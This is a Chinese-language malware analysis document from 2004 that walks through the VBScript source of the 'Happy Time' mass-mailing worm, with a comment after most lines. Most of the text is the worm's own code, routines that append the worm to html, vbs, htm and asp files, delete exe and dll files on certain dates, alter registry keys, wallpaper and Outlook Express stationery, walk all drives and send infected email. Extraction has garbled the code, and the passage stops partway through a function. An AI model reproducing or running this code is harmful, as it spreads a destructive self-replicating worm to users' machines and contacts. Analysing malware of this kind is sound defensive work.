欢乐时光代码分析.docx

1、欢乐时光代码分析欢乐时光代码分析 作者： billlai 整理日期：2004年6月15日* 欢乐时光 *Rem I am sorry! happy timeOn Error Resume NextMload以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。Sub mload()On Error Resume NextmPath = Grf()Set Os = CreateObject(Scriptlet.TypeLib) Set Oh = CreateObject(Shell.Application)建立枚举对象，避开了安全审核If IsHTML

2、 Then调用IsHtml函数，如果是Html，就小写 mURL = LCase(document.Location)If mPath = ThenOs.Reset Os.Path = C:Help.htmOs.Doc = Lhtml()Os.Write()如果mPath为空，就在C盘下生成Help.htmIhtml = 超文本的内容，并指向C:Help.HtmCall document.Body.insertAdjacentHTML(AfterBegin, Ihtml)ElseIf Iv(mPath, Help.vbs) ThensetInterval Rt(), 10000Elsem =

3、htaIf LCase(m) = Right(mURL, Len(m) Thenid = setTimeout(mclose(), 1)设置超时条件mainElse Os.Reset()Os.Path = mPath & & Help.htaOs.Doc = Lhtml()Os.write()Iv mPath, Help.hta生成Help.htaEnd IfEnd IfEnd IfElseMain都不是，就执行main函数 End IfEnd Sub*以下为主函数，太长了！Sub main()On Error Resume NextSet Of = CreateObject(Scriptin

4、g.FileSystemObject)不用说，创建FileSystemObject对象啦Set Od = CreateObject(Scripting.Dictionary)创建Dictionary对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组Od.Add html, 1100 Od.Add vbs, 0100Od.Add htm, 1100Od.Add asp, 0010向Dictionary对象添加要感染的项目对Ks = HKEY_CURRENT_USERSoftware使用变量以减少代码长度 Ds = Grf()Cs = Gsf()If IsVbs Then如果是VBS I

5、f Of.FileExists(C:help.htm) Then Of.DeleteFile (C:help.htm)如果c:help.htm存在，就删掉，消灭遗留的痕迹End IfKey = CInt(Month(Date) + Day(Date) If Key = 13 Then 如果月与日之和为13（这也是它变种多的原因将13改为其他数字即可）Od.RemoveAllOd.Add exe, 0001Od.Add dll, 0001就清空Dictionary数组，并将exe、dll加入Dictionary 对象，以备删除之用End IfCn = Rg(Ks & HelpCount) 读注册

6、表中的HKEY_CURRENT_USERSoftwareHelpCount键值If Cn = ThenCn = 1如果Count为0，就设为1End IfRw Ks & HelpCount, Cn + 1 添加HKEY_CURRENT_USERSoftwareHelpCount键值，值为2f1 = Rg(Ks & HelpFileName) 再读HKEY_CURRENT_USERSoftwareHelpFileName键值f2 = FNext(Of, Od, f1) 得到该文件的文件名fext = GetExt(Of, Od, f2) 得到该文件扩展名的代号Rw Ks & HelpFileNa

7、me, f2 添加键值If IsDel(fext) Then 如果扩展名代号的第四个字符为1即0001(exe、dll)f3 = f2 储存文件名f2 = FNext(Of, Od, f2) 得到文件的文件名？Rw Ks & HelpFileName, f2 写注册表Of.DeleteFile f3 删除文件ElseIf LCase(WScript.ScriptFullname) LCase(f2) Then 如果不是集合中的文件Fw Of, f2, fextEnd IfEnd IfIf (CInt(Cn) Mod 366) = 0 ThenIf (CInt(Second(Time) Mod

8、2) = 0 Then使用 Cint函数强制执行转换，并发邮件TsendElseadds = OgMsend (adds)End IfEnd Ifwp = Rg(HKEY_CURRENT_USERControl PaneldesktopwallPaper)If Rg(Ks & HelpwallPaper) wp Or wp = Then比较桌面墙纸是否已改变If wp = Thenn1 = n3 = Cs & Help.htmElsemP = Of.GetFile(wp).ParentFoldern1 = Of.GetFileName(wp)n2 = Of.GetBaseName(wp)n3

9、= Cs & & n2 & .htmEnd IfSet pfc = Of.CreateTextFile(n3, True)mt = Sa(1100)创建超文本pfc.Write & mt超文本的内容pfc.CloseRw Ks & HelpwallPaper, n3Rw HKEY_CURRENT_USERControl PaneldesktopwallPaper, n3将带毒的超文本设置成活动桌面End IfElseSet fc = Of.CreateTextFile(Ds & Help.vbs, True)fc.Write Sa(0100)创建vbs文件fc.Closebf = Cs & U

10、ntitled.htmSet fc2 = Of.CreateTextFile(bf, True)fc2.Write Lhtmlfc2.Close创建windows下的untitled.htmoeid = Rg(HKEY_CURRENT_USERIdentitiesDefault User ID)oe = HKEY_CURRENT_USERIdentities & oeid & SoftwareMicrosoftOutlook Express5.0MailMSH = oe & Message Send HTMLCUS = oe & Compose Use StationerySN = oe &

11、Stationery NameRw MSH, 1Rw CUS, 1Rw SN, bf在Hkey_Current_UserIdentitiesAECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4SoftwareMicrosoftOutlook Express5.0Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向windowsuntitled.htmWeb = Cs & WEBSet gf = Of.GetFolder(Web).Files得到windowswe

12、b文件夹里的文件Od.Add htt, 1100向Dictionary里添加htt项目对For Each m In gf遍历windowsweb下的每一个文件fext = GetExt(Of, Od, m)得到每个文件的扩展名If fext Then如果扩展名不为空，则Fw Of, m, fextEnd IfNextEnd IfEnd Sub*Sub mclose() document.Write I am sorry!写入I am sorry,并关闭。以此作为感染与否的标记window.CloseEnd Sub*Sub Fw(Of, S, n) 此时S为文件名，n为文件扩展名Dim fc,

13、fc2, m, mmail, mtOn Error Resume NextSet fc = Of.OpenTextFile(S, 1) 只读模式打开该文件mt = fc.ReadAll 读入全部文件流fc.Close 关闭文件If Not Sc(mt) Then 如果未感染过mmail = Ml(mt)mt = Sa(n)Set fc2 = Of.OpenTextFile(S, 8)打开文件并在文件末尾进行写操作fc2.Write mtfc2.CloseMsend (mmail)发带毒邮件End IfEnd Sub*Function Sc(S)mN = Rem I am sorry! happ

14、y timeIf InStr(S, mN) 0 Then 如果读入的文件流中有Rem I am sorry! happy timeSc = True ElseSc = False表示已感染过，返回True,否则为FalseEnd IfEnd Function*Function FNext(Of, Od, S)Dim fpath, fname, fext, T, gfOn Error Resume Nextfname = T = False初始化变量If Of.FileExists(S) Then 如果S存在于当前文件夹中fpath = Of.GetFile(S).ParentFolder得到文

15、件的父目录名fname = S 得到文件名ElseIf Of.FolderExists(S) Then 不存在于当前文件夹中，则得到目录名fpath = S T = TrueElsefpath = Dnext(Of, ) 得到当前盘符即根目录End IfDo While TrueSet gf = Of.GetFolder(fpath).Files 得到当前目录下的所有文件对象For Each m In gf 遍历每个文件If T ThenIf GetExt(Of, Od, m) Then 如果该文件是文件集合中的一员FNext = m 则返回该文件名，供调用的函数或过程使用感染或删除之Exit

16、 FunctionEnd IfElseIf LCase(m) = LCase(fname) Or fname = Then 如果没文件T = TrueEnd IfNextfpath = Pnext(Of, fpath) LoopEnd Function*Function Pnext(Of, S)On Error Resume NextDim Ppath, Npath, gp, pn, T, mT = FalseIf Of.FolderExists(S) Then 如果如果指定的文件夹存在Set gp = Of.GetFolder(S).SubFolders 就得到子目录数pn = gp.Cou

17、ntIf pn = 0 Then 如果没子目录Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S) 得到父目录的小写形式T = TrueElseNpath = LCase(S) 有子目录，得到其小写形式的集合 End IfDo While Not Er For Each pn In Of.GetFolder(Npath).SubFolders得到子目录下的子目录If T ThenIf Ppath = LCase(pn) ThenT = FalseEnd IfElsePnext = LCase(pn)Exit FunctionEnd I

18、fNextT = TruePpath = LCase(Npath)将字符串转化成小写Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then 如果是根目录m = Of.GetDriveName(Ppath) 就得到分区符Pnext = Dnext(Of, m)Exit FunctionEnd IfLoopEnd IfEnd Function*Function Dnext(Of, S)Dim dc, n, d, T, mOn Error Resume NextT = Falsem = Set dc

19、 = Of.Drives 得到所有的驱动器盘符For Each d In dc 遍历每个驱动器If d.DriveType = 2 Or d.DriveType = 3 Then如果是网络盘或本地盘If T ThenDnext = dExit Function如果是False，就返回当前盘，并退出本函数ElseIf LCase(S) = LCase(d) Then 如果是True且盘符相同，就令T为TrueT = TrueEnd IfIf m = Then 如果m为空，就将盘符付给mm = dEnd IfEnd IfEnd IfNextDnext = m 返回盘符End Function*Fu

20、nction GetExt(Of, Od, S)Dim fextOn Error Resume Nextfext = LCase(Of.GetExtensionName(S)返回该文件扩展名的小写GetExt = Od.Item(fext) 返回Dictionary对象中指定的key对应的item即0001(exe)等End Function*Sub Rw(k, v) 写注册表Dim ROn Error Resume NextSet R = CreateObject(WScript.Shell)创建对象R.RegWrite k, vEnd Sub*Function Rg(v) 读注册表Dim

21、ROn Error Resume NextSet R = CreateObject(WScript.Shell)创建对象Rg = R.RegRead(v)End Function*Function IsVbs() 此函数判断是不是VBS文件Dim ErrTestOn Error Resume NextErrTest = WScript.ScriptFullnameIf Err Then 如果出错，则不是VBSIsVbs = FalseElseIsVbs = TrueEnd IfEnd Function*Function IsHTML() 此函数判断是不是Html文件Dim ErrTestOn

22、Error Resume NextErrTest = document.LocationIf Er ThenIsHTML = False如果出错，则不是超文本ElseIsHTML = TrueEnd IfEnd Function*Function IsMail(S)此函数判断是不是邮件地址Dim m1, m2IsMail = FalseIf InStr(S, vbCrLf) = 0 Then 返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符m1 = InStr(S, ) m2 = InStr(S, .)If m1 0 And m1 m2 Then 如果有“”符号且“”在“.之前，

23、则是邮件地址IsMail = TrueEnd IfEnd IfEnd Function*Function Gsf() 得到windows目录Dim Of, mOn Error Resume NextSet Of = CreateObject(Scripting.FileSystemObject)创建FileSystemObject对象m = Of.GetSpecialFolder(0)得到特殊目录Windows、System和Temp目录If Er Then 如果失败，返回C:Gsf = C:Else 若正常，则返回%Windows%Gsf = mEnd IfEnd Function*Func

24、tion Lhtml() 写入超文本的内容，其中vbCrLf是换行符Lhtml = Help & Lscript(Lvbs() & vbCrLf & _End Function*Function Lscript(S) 写入vbscript的声明Lscript = & vbCrLf & _S & End Function*Function Sl(S1, S2, n) Dim l1, l2, l3, il1 = Len(S1) 得到文件流的长度l2 = Len(S2) 得到mailto:的长度i = InStr(S1, S2) 在文件流中查找mailto:第一次出现的位置值为一个数If i 0 Then 找到则进行字符串操作l3 = i + l2 - 1If n = 0 ThenSl = Left(S1, i - 1)ElseIf n = 1 ThenSl = Right(S1, l1 - l3)End IfElse